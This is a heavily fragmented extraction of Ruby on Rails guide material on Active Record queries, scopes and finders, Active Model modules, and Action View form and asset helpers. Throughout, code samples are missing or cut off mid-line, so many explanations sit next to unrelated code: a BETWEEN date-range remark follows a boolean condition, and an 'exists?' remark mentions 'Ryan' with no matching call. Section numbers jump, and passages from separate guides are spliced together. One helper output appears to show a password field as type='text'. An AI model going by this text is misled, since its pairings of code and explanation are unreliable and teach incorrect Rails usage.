Only equality, range and subset checking are possible with Hash
conditions.
2.3.1 Equality Conditions
Client.where(locked: true)
This will find all clients created yesterday by using a BETWEEN SQL
statement:
If you want to find records using the IN expression you can pass an array
to the conditions hash:
Client.where(orders_count: [1,3,5])
3 Ordering
To retrieve records from the database in a specific order, you can use the
order method.
For example, if you're getting a set of records and want to order them in
ascending order by the created_at field in your table:
Client.order(:created_at)
# OR
Client.order("created_at")
The SQL query used by this find call will be somewhat like:
SELECT viewable_by, locked FROM clients
Be careful because this also means you're initializing a model object with
only the fields that you've selected. If you attempt to access a field that is
not in the initialized record you'll receive:
Where <attribute> is the attribute you asked for. The id method will not
raise the ActiveRecord::MissingAttributeError, so just be careful
when working with associations because they need the id method to
function properly.
If you would like to only grab a single record per unique value in a certain
field, you can use distinct:
Client.select(:name).distinct
will return instead a maximum of 5 clients beginning with the 31st. The
SQL looks like:
SELECT * FROM clients LIMIT 5 OFFSET 30
6 Group
To apply a GROUP BY clause to the SQL fired by the finder, you can use the
group method.
For example, if you want to find a collection of the dates on which orders
were created:
And this will give you a single Order object for each date where there are
orders in the database.
The SQL that would be executed would be something like this:
7 Having
SQL uses the HAVING clause to specify conditions on the GROUP BY fields.
You can add the HAVING clause to the SQL fired by the Model.find by
adding the having method to the find.
For example:
This returns the date and total price for each order object, grouped by the
day they were ordered and where the price is more than $100.
8 Overriding Conditions
8.1 unscope
You can specify certain conditions to be removed using the unscope
method. For example:
A relation which has used unscope will affect any relation into which it is
merged:
Article.order('id asc').merge(Article.unscope(:order))
# SELECT "articles".* FROM "articles"
8.2 only
You can also override conditions using the only method. For example:
8.3 reorder
The reorder method overrides the default scope order. For example:
class Article < ApplicationRecord
has_many :comments, -> { order('posted_at DESC') }
end
Article.find(10).comments.reorder('name')
In the case where the reorder clause is not used, the SQL executed would
be:
8.4 reverse_order
The reverse_order method reverses the ordering clause if specified.
Client.where("orders_count > 10").order(:name).reverse_order
9 Null Relation
The none method returns a chainable relation with no records. Any
subsequent conditions chained to the returned relation will continue
generating empty relations. This is useful in scenarios where you need a
chainable response to a method or a scope that could return zero results.
Article.none # returns an empty Relation and fires no queries.
def visible_articles
case role
when 'Country Manager'
Article.where(country: country)
when 'Reviewer'
Article.published
when 'Bad User'
Article.none # => returning [] or nil breaks the caller code
end
end
10 Readonly Objects
Active Record provides the readonly method on a relation to explicitly
disallow modification of any of the returned objects. Any attempt to alter a
readonly record will not succeed, raising an
ActiveRecord::ReadOnlyRecord exception.
client = Client.readonly.first
client.visits += 1
client.save
You're then responsible for dealing with the conflict by rescuing the
exception and either rolling back, merging, or otherwise apply the business
logic needed to resolve the conflict.
This behavior can be turned off by setting
ActiveRecord::Base.lock_optimistically = false.
The above session produces the following SQL for a MySQL backend:
You can also pass raw SQL to the lock method for allowing different
types of locks. For example, MySQL has an expression called LOCK IN
SHARE MODE where you can lock a record but still allow other queries to
read it. To specify this expression just pass it in as the lock option:
Item.transaction do
i = Item.lock("LOCK IN SHARE MODE").find(1)
i.increment!(:views)
end
If you already have an instance of your model, you can start a transaction
and acquire the lock in one go using the following code:
item = Item.first
item.with_lock do
# This block is called within a transaction,
# item is already locked.
item.increment!(:views)
end
12 Joining Tables
Active Record provides two finder methods for specifying JOIN clauses on
the resulting SQL: joins and left_outer_joins. While joins should be
used for INNER JOIN or custom queries, left_outer_joins is used for
queries using LEFT OUTER JOIN.
12.1 joins
There are multiple ways to use the joins method.
12.1.1 Using a String SQL Fragment
You can just supply the raw SQL specifying the JOIN clause to joins:
Active Record lets you use the names of the associations defined on the
model as a shortcut for specifying JOIN clauses for those associations
when using the joins method.
For example, consider the following Category, Article, Comment, Guest
and Tag models:
class Category < ApplicationRecord
has_many :articles
end
class Article < ApplicationRecord
belongs_to :category
has_many :comments
has_many :tags
end
class Comment < ApplicationRecord
belongs_to :article
has_one :guest
end
class Guest < ApplicationRecord
belongs_to :comment
end
class Tag < ApplicationRecord
belongs_to :article
end
Now all of the following will produce the expected join queries using
INNER JOIN:
12.1.2.1 Joining a Single Association
Category.joins(:articles)
This produces:
SELECT categories.* FROM categories
INNER JOIN articles ON articles.category_id = categories.id
Or, in English: "return a Category object for all categories with articles".
Note that you will see duplicate categories if more than one article has the
same category. If you want unique categories, you can use
Category.joins(:articles).distinct.
12.1.3 Joining Multiple Associations
Article.joins(:category, :comments)
This produces:
SELECT articles.* FROM articles
INNER JOIN categories ON articles.category_id = categories.id
INNER JOIN comments ON comments.article_id = articles.id
Or, in English: "return all articles that have a category and at least one
comment". Note again that articles with multiple comments will show up
multiple times.
12.1.3.1 Joining Nested Associations (Single Level)
Article.joins(comments: :guest)
This produces:
SELECT articles.* FROM articles
INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id
Or, in English: "return all articles that have a comment made by a guest."
12.1.3.2 Joining Nested Associations (Multiple Level)
This produces:
SELECT categories.* FROM categories
INNER JOIN articles ON articles.category_id = categories.id
INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id
Or, in English: "return all categories that have articles, where those articles
have a comment made by a guest, and where those articles also have a
tag."
12.1.4 Specifying Conditions on the Joined Tables
You can specify conditions on the joined tables using the regular Array
and String conditions. Hash conditions provide a special syntax for
specifying conditions for the joined tables:
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where('orders.created_at' => time_range)
This will find all clients who have orders that were created yesterday,
again using a BETWEEN SQL expression.
12.2 left_outer_joins
If you want to select a set of records whether or not they have associated
records you can use the left_outer_joins method.
Author.left_outer_joins(:posts).distinct.select('authors.*, COUN
Which produces:
Which means: "return all authors with their count of posts, whether or not
they have any posts at all"
This code looks fine at the first sight. But the problem lies within the total
number of queries executed. The above code executes 1 (to find 10 clients)
+ 10 (one per each client to load the address) = 11 queries in total.
Solution to N + 1 queries problem
Active Record lets you specify in advance all the associations that are
going to be loaded. This is possible by specifying the includes method of
the Model.find call. With includes, Active Record ensures that all of the
specified associations are loaded using the minimum possible number of
queries.
Revisiting the above case, we could rewrite Client.limit(10) to eager
load addresses:
clients = Client.includes(:address).limit(10)
clients.each do |client|
puts client.address.postcode
end
The above code will execute just 2 queries, as opposed to 11 queries in the
previous case:
SELECT * FROM clients LIMIT 10
SELECT addresses.* FROM addresses
WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
Article.includes(:category, :comments)
This loads all the articles and the associated category and comments for
each article.
13.1.2 Nested Associations Hash
This will find the category with id 1 and eager load all of the associated
articles, the associated articles' tags and comments, and every comment's
guest association.
13.2 Specifying Conditions on Eager Loaded Associations
Even though Active Record lets you specify conditions on the eager
loaded associations just like joins, the recommended way is to use joins
instead.
However if you must do this, you may use where as you would normally.
Article.includes(:comments).where(comments: { visible: true })
This would generate a query which contains a LEFT OUTER JOIN whereas
the joins method would generate one using the INNER JOIN function
instead.
If there was no where condition, this would generate the normal set of two
queries.
Using where like this will only work when you pass it a Hash. For SQLfragments you need to use references to force joined tables:
Article.includes(:comments).where("comments.visible = true").ref
If, in the case of this includes query, there were no comments for any
articles, all the articles would still be loaded. By using joins (an INNER
JOIN), the join conditions must match, otherwise no records will be
returned.
14 Scopes
Scoping allows you to specify commonly-used queries which can be
referenced as method calls on the association objects or models. With
these scopes, you can use every method previously covered such as where,
joins and includes. All scope methods will return an
ActiveRecord::Relation object which will allow for further methods
(such as other scopes) to be called on it.
To define a simple scope, we use the scope method inside the class,
passing the query that we'd like to run when this scope is called:
class Article < ApplicationRecord
scope :published, -> { where(published: true) }
end
This is exactly the same as defining a class method, and which you use is a
matter of personal preference:
class Article < ApplicationRecord
def self.published
where(published: true)
end
end
category = Category.first
category.articles.published # => [published articles belonging t
Using a class method is the preferred way to accept arguments for scopes.
These methods will still be accessible on the association objects:
category.articles.created_before(time)
Like the other examples, this will behave similarly to a class method.
class Article < ApplicationRecord
def self.created_before(time)
where("created_at < ?", time) if time.present?
end
end
When queries are executed on this model, the SQL query will now look
something like this:
SELECT * FROM clients WHERE removed_at IS NULL
If you need to do more complex things with a default scope, you can
alternatively define it as a class method:
class Client < ApplicationRecord
def self.default_scope
# Should return an ActiveRecord::Relation.
end
end
User.active.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
We can mix and match scope and where conditions and the final sql will
have all conditions joined with AND.
User.active.where(state: 'finished')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
User.active.merge(User.inactive)
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactiv
User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
As you can see above the default_scope is being merged in both scope
and where conditions.
14.5 Removing All Scoping
If we wish to remove scoping for any reason we can use the unscoped
method. This is especially useful if a default_scope is specified in the
model and should not be applied for this particular query.
Client.unscoped.load
This method removes all scoping and will do a normal query on the table.
Client.unscoped.all
# SELECT "clients".* FROM "clients"
Client.where(published: false).unscoped.all
# SELECT "clients".* FROM "clients"
15 Dynamic Finders
For every field (also known as an attribute) you define in your table,
Active Record provides a finder method. If you have a field called
first_name on your Client model for example, you get
find_by_first_name for free from Active Record. If you have a locked
field on the Client model, you also get find_by_locked method.
You can specify an exclamation point (!) on the end of the dynamic
finders to get them to raise an ActiveRecord::RecordNotFound error if
they do not return any records, like Client.find_by_name!("Ryan")
If you want to find both by name and locked, you can chain these finders
together by simply typing "and" between the fields. For example,
Client.find_by_first_name_and_locked("Ryan", true).
16 Enums
The enum macro maps an integer column to a set of possible values.
class Book < ApplicationRecord
enum availability: [:available, :unavailable]
end
Read the full documentation about enums in the Rails API docs.
Person
.select('people.id, people.name, companies.name')
.joins(:company)
.find_by('people.name' => 'John') # this should be the last
Note that if a query matches multiple records, find_by will fetch only the
first one and ignore the others (see the LIMIT 1 statement above).
Client.find_or_create_by(first_name: 'Andy')
# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked
find_or_create_by returns either the record that already exists or the new
record. In our case, we didn't already have a client named Andy so the
record is created and returned.
The new record might not be saved to the database; that depends on
whether validations passed or not (just like create).
Suppose we want to set the 'locked' attribute to false if we're creating a
new record, but we don't want to include it in the query. So we want to
find the client named "Andy", or if that client doesn't exist, create a client
named "Andy" which is not locked.
We can achieve this in two ways. The first is to use create_with:
Client.create_with(locked: false).find_or_create_by(first_name:
The block will only be executed if the client is being created. The second
time we run this code, the block will be ignored.
18.2 find_or_create_by!
You can also use find_or_create_by! to raise an exception if the new
record is invalid. Validations are not covered on this guide, but let's
assume for a moment that you temporarily add
validates :orders_count, presence: true
to your Client model. If you try to create a new Client without passing
an orders_count, the record will be invalid and an exception will be
raised:
Client.find_or_create_by!(first_name: 'Andy')
# => ActiveRecord::RecordInvalid: Validation failed: Orders coun
18.3 find_or_initialize_by
Because the object is not yet stored in the database, the SQL generated
looks like this:
19 Finding by SQL
If you'd like to use your own SQL to find records in a table you can use
find_by_sql. The find_by_sql method will return an array of objects
even if the underlying query returns just a single record. For example you
could run this query:
Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
ORDER BY clients.created_at desc")
# => [
# #<Client id: 1, first_name: "Lucas" >,
# #<Client id: 2, first_name: "Jan" >,
# ...
# ]
19.2 pluck
pluck can be used to query single or multiple columns from the underlying
with:
Client.pluck(:id)
# or
Client.pluck(:id, :name)
"I am #{super}"
end
end
Client.select(:name).map &:name
# => ["I am David", "I am Jeremy", "I am Jose"]
Client.pluck(:name)
# => ["David", "Jeremy", "Jose"]
Client.pluck(:name).limit(1)
# => NoMethodError: undefined method `limit' for #<Array:0x007ff
Client.limit(1).pluck(:name)
# => ["David"]
19.3 ids
ids can be used to pluck all the IDs for the relation using the table's
primary key.
Person.ids
# SELECT id FROM people
class Person < ApplicationRecord
self.primary_key = "person_id"
end
Person.ids
# SELECT person_id FROM people
20 Existence of Objects
If you simply want to check for the existence of the object there's a method
called exists?. This method will query the database using the same query
as find, but instead of returning an object or collection of objects it will
return either true or false.
Client.exists?(1)
The exists? method also takes multiple values, but the catch is that it will
return true if any one of those records exists.
Client.exists?(id: [1,2,3])
# or
Client.exists?(name: ['John', 'Sergei'])
The above returns true if there is at least one client with the first_name
'Ryan' and false otherwise.
Client.exists?
The above returns false if the clients table is empty and true otherwise.
You can also use any? and many? to check for existence on a model or
relation.
# via a model
Article.any?
Article.many?
# via a named scope
Article.recent.any?
Article.recent.many?
# via a relation
Article.where(published: true).any?
Article.where(published: true).many?
# via an association
Article.first.categories.any?
Article.first.categories.many?
21 Calculations
This section uses count as an example method in this preamble, but the
options described apply to all sub-sections.
All calculation methods work directly on a model:
Client.count
# SELECT count(*) AS count_all FROM clients
Or on a relation:
Client.where(first_name: 'Ryan').count
# SELECT count(*) AS count_all FROM clients WHERE (first_name =
You can also use various finder methods on a relation for performing
complex calculations:
21.1 Count
If you want to see how many records are in your model's table you could
call Client.count and that will return the number. If you want to be more
specific and find all the clients with their age present in the database you
can use Client.count(:age).
22 Running EXPLAIN
You can run EXPLAIN on the queries triggered by relations. For example,
User.where(id: 1).joins(:articles).explain
may yield
Filter: (articles.user_id = 1)
(6 rows)
Eager loading may trigger more than one query under the hood, and some
queries may need the results of previous ones. Because of that, explain
actually executes the query, and then asks for the query plans. For
example,
User.where(id: 1).includes(:articles).explain
yields
1 Introduction
Active Model is a library containing various modules used in developing
classes that need some features present on Active Record. Some of these
modules are explained below.
1.1 Attribute Methods
The ActiveModel::AttributeMethods module can add custom prefixes
and suffixes on methods of a class. It is used by defining the prefixes and
suffixes and which methods on the object will use them.
class Person
include ActiveModel::AttributeMethods
attribute_method_prefix 'reset_'
attribute_method_suffix '_highest?'
define_attribute_methods 'age'
attr_accessor :age
private
def reset_attribute(attribute)
send("#{attribute}=", 0)
end
def attribute_highest?(attribute)
send(attribute) > 100
end
end
person = Person.new
person.age = 110
person.age_highest? # => true
person.reset_age # => 0
person.age_highest? # => false
1.2 Callbacks
def update
run_callbacks(:update) do
# This method is called when update is called on an object
end
end
def reset_me
# This method is called when update is called on an object a
end
end
1.3 Conversion
If a class defines persisted? and id methods, then you can include the
ActiveModel::Conversion module in that class and call the Rails
conversion methods on objects of that class.
class Person
include ActiveModel::Conversion
def persisted?
false
end
def id
nil
end
end
person = Person.new
person.to_model == person # => true
person.to_key # => nil
person.to_param # => nil
1.4 Dirty
An object becomes dirty when it has gone through one or more changes to
its attributes and has not been saved. ActiveModel::Dirty gives the
ability to check whether an object has been changed or not. It also has
attribute based accessor methods. Let's consider a Person class with
attributes first_name and last_name:
class Person
include ActiveModel::Dirty
define_attribute_methods :first_name, :last_name
def first_name
@first_name
end
def first_name=(value)
first_name_will_change!
@first_name = value
end
def last_name
@last_name
end
def last_name=(value)
last_name_will_change!
@last_name = value
end
def save
# do save work...
changes_applied
end
end
1.4.1 Querying object directly for its list of all changed attributes.
person = Person.new
person.changed? # => false
person.first_name = "First Name"
person.first_name # => "First Name"
Track both previous and current value of the changed attribute. Returns an
1.5 Validations
The ActiveModel::Validations module adds the ability to validate class
objects like in Active Record.
class Person
include ActiveModel::Validations
attr_accessor :name, :email, :token
person = Person.new
person.token = "2b1f325"
person.valid? # => false
person.name = 'vishnu'
person.email = 'me'
person.valid? # => false
person.email = '[email protected]'
person.valid? # => true
person.token = nil
person.valid? # => raises ActiveModel::St
1.6 Naming
ActiveModel::Naming adds a number of class methods which make the
naming and routing easier to manage. The module defines the model_name
ActiveSupport::Inflector methods.
class Person
extend ActiveModel::Naming
end
Person.model_name.name # => "Person"
Person.model_name.singular # => "person"
Person.model_name.plural # => "people"
Person.model_name.element # => "person"
Person.model_name.human # => "Person"
Person.model_name.collection # => "people"
Person.model_name.param_key # => "person"
Person.model_name.i18n_key # => :person
Person.model_name.route_key # => "people"
Person.model_name.singular_route_key # => "person"
1.7 Model
ActiveModel::Model adds the ability to a class to work with Action Pack
conversions
translations
validations
It also gives you the ability to initialize an object with a hash of attributes,
much like any Active Record object.
email_contact = EmailContact.new(name: 'David',
email: '[email protected]',
message: 'Hello World')
email_contact.name # => 'David'
email_contact.email # => '[email protected]'
email_contact.valid? # => true
email_contact.persisted? # => false
You need to declare an attributes hash which contains the attributes you
want to serialize. Attributes must be strings, not symbols.
class Person
include ActiveModel::Serialization
attr_accessor :name
def attributes
{'name' => nil}
end
end
Now you can access a serialized hash of your object using the
serializable_hash.
person = Person.new
person.serializable_hash # => {"name"=>nil}
person.name = "Bob"
person.serializable_hash # => {"name"=>"Bob"}
1.8.1 ActiveModel::Serializers
With the as_json method you have a hash representing the model.
person = Person.new
person.as_json # => {"name"=>nil}
person.name = "Bob"
person.as_json # => {"name"=>"Bob"}
From a JSON string you define the attributes of the model. You need to
1.9 Translation
ActiveModel::Translation provides integration between your object and
config/locales/app.pt-BR.yml
pt-BR:
activemodel:
attributes:
person:
name: 'Nome'
Person.human_attribute_name('name') # => "Nome"
test/models/person_test.rb
require 'test_helper'
class PersonTest < ActiveSupport::TestCase
include ActiveModel::Lint::Tests
setup do
@model = Person.new
end
end
$ rails test
Run options: --seed 14596
# Running:
......
Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
class Person
include ActiveModel::SecurePassword
has_secure_password
attr_accessor :password_digest
end
person = Person.new
# When password is blank.
person.valid? # => false
# When the confirmation doesn't match the password.
person.password = 'aditya'
person.password_confirmation = 'nomatch'
person.valid? # => false
# When the length of password exceeds 72.
person.password = person.password_confirmation = 'a' * 100
person.valid? # => false
# When all validations are passed.
person.password = person.password_confirmation = 'aditya'
person.valid? # => true
Within an ERB template, Ruby code can be included using both <% %> and
<%= %> tags. The <% %> tags are used to execute Ruby code that does not
return anything, such as conditions, loops or blocks, and the <%= %> tags
are used when you want output.
Consider the following loop for names:
<h1>Names of all the people</h1>
<% @people.each do |person| %>
Name: <%= person.name %><br>
<% end %>
The loop is set up using regular embedding tags (<% %>) and the name is
inserted using the output embedding tags (<%= %>). Note that this is not
just a usage suggestion: regular output functions such as print and puts
To suppress leading and trailing whitespaces, you can use <%- -%>
interchangeably with <% and %>.
3.1.2 Builder
Any method with a block will be treated as an XML markup tag with
nested markup in the block. For example, the following:
xml.div {
xml.h1(@person.name)
xml.p(@person.bio)
}
Jbuilder is a gem that's maintained by the Rails team and included in the
default Rails Gemfile. It's similar to Builder, but is used to generate JSON,
instead of XML.
If you don't have it, you can add the following to your Gemfile:
gem 'jbuilder'
would produce:
{
"name": "Alex",
"email": "[email protected]"
}
To render a partial as part of a view, you use the render method within the
view:
<%= render "menu" %>
This will render a file named _menu.html.erb at that point within the view
that is being rendered. Note the leading underscore character: partials are
named with a leading underscore to distinguish them from regular views,
even though they are referred to without the underscore. This holds true
even when you're pulling in a partial from another folder:
<%= render "shared/menu" %>
In the above example, render takes 2 options: partial and locals. But if
these are the only options you want to pass, you can skip using these
options. For example, instead of:
<%= render partial: "product", locals: { product: @product } %>
within _product partial we'll get @product in the local variable product,
as if we had written:
<%= render partial: "product", locals: { product: @product } %>
With the as option we can specify a different name for the local variable.
For example, if we wanted it to be item instead of product we would do:
<%= render partial: "product", as: "item" %>
The object option can be used to directly specify which object is rendered
into the partial; useful when the template's object is elsewhere (e.g. in a
different instance variable or in a local variable).
For example, instead of:
<%= render partial: "product", locals: { product: @item } %>
we would do:
<%= render partial: "product", object: @item %>
It is very common that a template will need to iterate over a collection and
render a sub-template for each of the elements. This pattern has been
implemented as a single method that accepts an array and renders a partial
for each one of the elements in the array.
So this example for rendering all the products:
Rails determines the name of the partial to use by looking at the model
name in the collection, Product in this case. In fact, you can even render a
collection made up of instances of different models using this shorthand,
and Rails will choose the proper partial for each member of the collection.
3.2.6 Spacer Templates
Rails will render the _product_ruler partial (with no data passed to it)
between each pair of _product partials.
3.3 Layouts
Layouts can be used to render a common view template around the results
of Rails controller actions. Typically, a Rails application will have a
couple of layouts that pages will be rendered within. For example, a site
might have one layout for a logged in user and another for the marketing
or sales side of the site. The logged in user layout might include top-level
navigation that should be present across many controller actions. The sales
layout for a SaaS app might include top-level navigation for things like
"Pricing" and "Contact Us" pages. You would expect each layout to have a
different look and feel. You can read about layouts in more detail in the
Layouts and Rendering in Rails guide.
4 Partial Layouts
Partials can have their own layouts applied to them. These layouts are
different from those applied to a controller action, but they work in a
similar fashion.
Let's say we're displaying an article on a page which should be wrapped in
a div for display purposes. Firstly, we'll create a new Article:
Article.create(body: 'Partial Layouts are cool!')
In the show template, we'll render the _article partial wrapped in the box
layout:
articles/show.html.erb
Note that the partial layout has access to the local article variable that
was passed into the render call. However, unlike application-wide layouts,
partial layouts still have the underscore prefix.
You can also render a block of code within a partial layout instead of
calling yield. For example, if we didn't have the _article partial, we
could do this instead:
articles/show.html.erb
<% render(layout: 'box', locals: { article: @article }) do %>
<div>
<p><%= article.body %></p>
</div>
<% end %>
Supposing we use the same _box partial from above, this would produce
the same output as the previous example.
5 View Paths
When rendering a response, the controller needs to resolve where the
different views are located. By default it only looks inside the app/views
directory.
We can add other locations and give them a certain precedence when
resolving paths using the prepend_view_path and append_view_path
methods.
5.1 Prepend view path
This can be helpful for example, when we want to put views inside a
different directory for subdomains.
We can do this by using:
prepend_view_path "app/views/#{request.subdomain}"
Then Action View will look first in this directory when resolving views.
5.2 Append view path
Similarly, we can append paths:
append_view_path "app/views/direct"
config.action_controller.asset_host = "assets.example.com"
image_tag("rails.png") # => <img src="http://assets.example.com/
6.1.1 auto_discovery_link_tag
Returns a link tag that browsers and feed readers can use to auto-detect an
RSS or Atom feed.
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss",
<link rel="alternate" type="application/rss+xml" title="RSS Fe
6.1.2 image_path
Returns an HTML image tag for the source. The source can be a full path
or a file that exists in your app/assets/images directory.
Returns an HTML script tag for each of the sources provided. You can
pass in the filename (.js extension is optional) of JavaScript files that
exist in your app/assets/javascripts directory for inclusion into the
current page or you can pass the full path relative to your document root.
If the application does not use the asset pipeline, to include the jQuery
JavaScript library in your application, pass :defaults as the source. When
using :defaults, if an application.js file exists in your
app/assets/javascripts directory, it will be included as well.
javascript_include_tag :defaults
You can also cache multiple JavaScript files into one file, which requires
less HTTP connections to download and can better be compressed by gzip
(leading to faster transfers). Caching will only happen if
ActionController::Base.perform_caching is set to true (which is the
case by default for the Rails production environment, but not for the
development environment).
javascript_include_tag :all, cache: true # =>
<script src="/javascripts/all.js"></script>
6.1.6 javascript_path
Returns a stylesheet link tag for the sources specified as arguments. If you
don't specify an extension, .css will be appended automatically.
You can also include all styles in the stylesheet directory using :all as the
source:
stylesheet_link_tag :all
You can also cache multiple stylesheets into one file, which requires less
HTTP connections and can better be compressed by gzip (leading to faster
transfers). Caching will only happen if
ActionController::Base.perform_caching is set to true (which is the case
by default for the Rails production environment, but not for the
development environment).
6.2 AtomFeedHelper
6.2.1 atom_feed
This helper makes building an Atom feed easy. Here's a full usage
example:
config/routes.rb
resources :articles
app/controllers/articles_controller.rb
def index
@articles = Article.all
respond_to do |format|
format.html
format.atom
end
end
app/views/articles/index.atom.builder
atom_feed do |feed|
feed.title("Articles Index")
feed.updated(@articles.first.created_at)
@articles.each do |article|
feed.entry(article) do |entry|
entry.title(article.title)
entry.content(article.body, type: 'html')
entry.author do |author|
author.name(article.author_name)
end
end
end
end
6.3 BenchmarkHelper
6.3.1 benchmark
This would add something like "Process data files (0.34523)" to the log,
which you can then use to compare timings when optimizing your code.
6.4 CacheHelper
6.4.1 cache
6.5 CaptureHelper
6.5.1 capture
app/views/articles/special.html.erb
<p>This is a special page.</p>
<% content_for :special_script do %>
<script>alert('Hello!')</script>
<% end %>
6.6 DateHelper
6.6.1 date_select
Returns a set of select tags (one for year, month, and day) pre-selected for
accessing a specified date-based attribute.
date_select("article", "published_on")
6.6.2 datetime_select
Returns a set of select tags (one for year, month, day, hour, and minute)
pre-selected for accessing a specified datetime-based attribute.
datetime_select("article", "published_on")
6.6.3 distance_of_time_in_words
Returns a set of HTML select-tags (one for year, month, and day) preselected with the date provided.
Returns a set of HTML select-tags (one for year, month, day, hour, and
minute) pre-selected with the datetime provided.
select_datetime(Time.now + 4.days)
Returns a select tag with options for each of the days 1 through 31 with the
current day selected.
# Generates a select field for days that defaults to the day for
select_day(Time.today + 2.days)
Returns a select tag with options for each of the hours 0 through 23 with
the current hour selected.
Returns a select tag with options for each of the minutes 0 through 59 with
the current minute selected.
Returns a select tag with options for each of the months January through
Returns a select tag with options for each of the seconds 0 through 59 with
the current second selected.
Returns a select tag with options for each of the five years on each side of
the current, which is selected. The five year radius can be changed using
the :start_year and :end_year keys in the options.
Time.now.
time_ago_in_words(3.minutes.from_now) # => 3 minutes
6.6.14 time_select
Returns a set of select tags (one for hour, minute and optionally second)
pre-selected for accessing a specified time-based attribute. The selects are
prepared for multi-parameter assignment to an Active Record object.
6.7 DebugHelper
Returns a pre tag that has object dumped by YAML. This creates a very
readable way to inspect an object.
6.8 FormHelper
Form helpers are designed to make working with models much easier
compared to using just standard HTML elements by providing a set of
methods for creating forms based on your models. This helper generates
the HTML for forms, providing a method for each sort of input (e.g., text,
password, select, and so on). When the form is submitted (i.e., when the
user hits the submit button or form.submit is called via JavaScript), the
form inputs will be bundled into the params object and passed back to the
controller.
There are two types of form helpers: those that specifically work with
model attributes and those that don't. This helper deals with those that
work with model attributes; to see an example of form helpers that don't
work with model attributes, check the
ActionView::Helpers::FormTagHelper documentation.
The core method of this helper, form_for, gives you the ability to create a
form for a model instance; for example, let's say that you have a model
Person and want to create a new instance of it:
The params object created when this form is submitted would look like:
The params hash has a nested person value, which can therefore be
accessed with params[:person] in the controller.
6.8.1 check_box
Creates a scope around a specific model object like form_for, but doesn't
create the form tags themselves. This makes fields_for suitable for
specifying additional model objects in the same form:
Returns a file upload input tag tailored for accessing a specified attribute.
file_field(:user, :avatar)
# => <input type="file" id="user_avatar" name="user[avatar]" />
6.8.4 form_for
Creates a form and a scope around a specific model object that is used as a
base for questioning about values for the fields.
<%= form_for @article do |f| %>
<%= f.label :title, 'Title' %>:
<%= f.text_field :title %><br>
<%= f.label :body, 'Body' %>:
<%= f.text_area :body %><br>
<% end %>
6.8.5 hidden_field
hidden_field(:user, :token)
# => <input type="hidden" id="user_token" name="user[token]" val
6.8.6 label
Returns a label tag tailored for labelling an input field for a specified
attribute.
label(:article, :title)
# => <label for="article_title">Title</label>
6.8.7 password_field
password_field(:login, :pass)
# => <input type="text" id="login_pass" name="login[pass]" value
6.8.8 radio_button
Returns a textarea opening and closing tag set tailored for accessing a
specified attribute.
Returns an input tag of the "text" type tailored for accessing a specified
attribute.
text_field(:article, :title)
# => <input type="text" id="article_title" name="article[title]"
6.8.11 email_field
Returns an input tag of the "email" type tailored for accessing a specified
attribute.
email_field(:user, :email)
# => <input type="email" id="user_email" name="user[email]" valu
6.8.12 url_field
Returns an input tag of the "url" type tailored for accessing a specified
attribute.
url_field(:user, :url)
# => <input type="url" id="user_url" name="user[url]" value="#{@
6.9 FormOptionsHelper
Provides a number of methods for turning different kinds of containers
into a set of option tags.
6.9.1 collection_select
Returns select and option tags for the collection of existing return values
of method for object's class.
Example object structure for use with this method:
class Article < ApplicationRecord
belongs_to :author
end
class Author < ApplicationRecord
has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end
<select name="article[author_id]">
<option value="">Please select</option>
<option value="1" selected="selected">D. Heinemeier Hansson</o
<option value="2">D. Thomas</option>
<option value="3">M. Clark</option>
</select>
6.9.2 collection_radio_buttons
Sample usage:
option_groups_from_collection_for_select(@continents, :countries
Possible output:
<optgroup label="Africa">
<option value="1">Egypt</option>
<option value="4">Rwanda</option>
...
</optgroup>
<optgroup label="Asia">
<option value="3" selected="selected">China</option>
<option value="12">India</option>
<option value="5">Japan</option>
...
</optgroup>
Note: Only the optgroup and option tags are returned, so you still have to
wrap the output in an appropriate select tag.
6.9.5 options_for_select
Note: Only the option tags are returned, you have to wrap this call in a
regular HTML select tag.
6.9.6 options_from_collection_for_select
Returns a string of option tags that have been compiled by iterating over
the collection and assigning the result of a call to the value_method as
the option value and the text_method as the option text.
# options_from_collection_for_select(collection, value_method, t
Note: Only the option tags are returned, you have to wrap this call in a
regular HTML select tag.
6.9.7 select
Create a select tag and a series of contained option tags for the provided
object and method.
Example:
Returns a string of option tags for pretty much any time zone in the world.
6.9.9 time_zone_select
Returns select and option tags for the given object and method, using
time_zone_options_for_select to generate the list of option tags.
time_zone_select( "user", "time_zone")
6.9.10 date_field
Returns an input tag of the "date" type tailored for accessing a specified
attribute.
date_field("user", "dob")
6.10 FormTagHelper
Provides a number of methods for creating form tags that don't rely on an
Active Record object assigned to the template like FormHelper does.
Instead, you provide the names and values manually.
6.10.1 check_box_tag
check_box_tag 'accept'
# => <input id="accept" name="accept" type="checkbox" value="1"
6.10.2 field_set_tag
Example output:
file_field_tag 'attachment'
# => <input id="attachment" name="attachment" type="file" />
6.10.4 form_tag
Starts a form tag that points the action to a URL configured with
url_for_options just like ActionController::Base#url_for.
<%= form_tag '/articles' do %>
Creates a hidden form input field used to transmit data that would be lost
due to HTTP's statelessness or data that should be hidden from the user.
Creates a password field, a masked text field that will hide the users input
behind a mask character.
password_field_tag 'pass'
# => <input id="pass" name="pass" type="password" />
6.10.9 radio_button_tag
Creates a radio button; use groups of radio buttons named the same to
allow users to select from a group of options.
Creates a text input area; use a textarea for longer text inputs such as blog
posts or descriptions.
text_area_tag 'article'
# => <textarea id="article" name="article"></textarea>
6.10.13 text_field_tag
Creates a standard text field; use these text fields to input smaller chunks
of text like a username or a search query.
text_field_tag 'name'
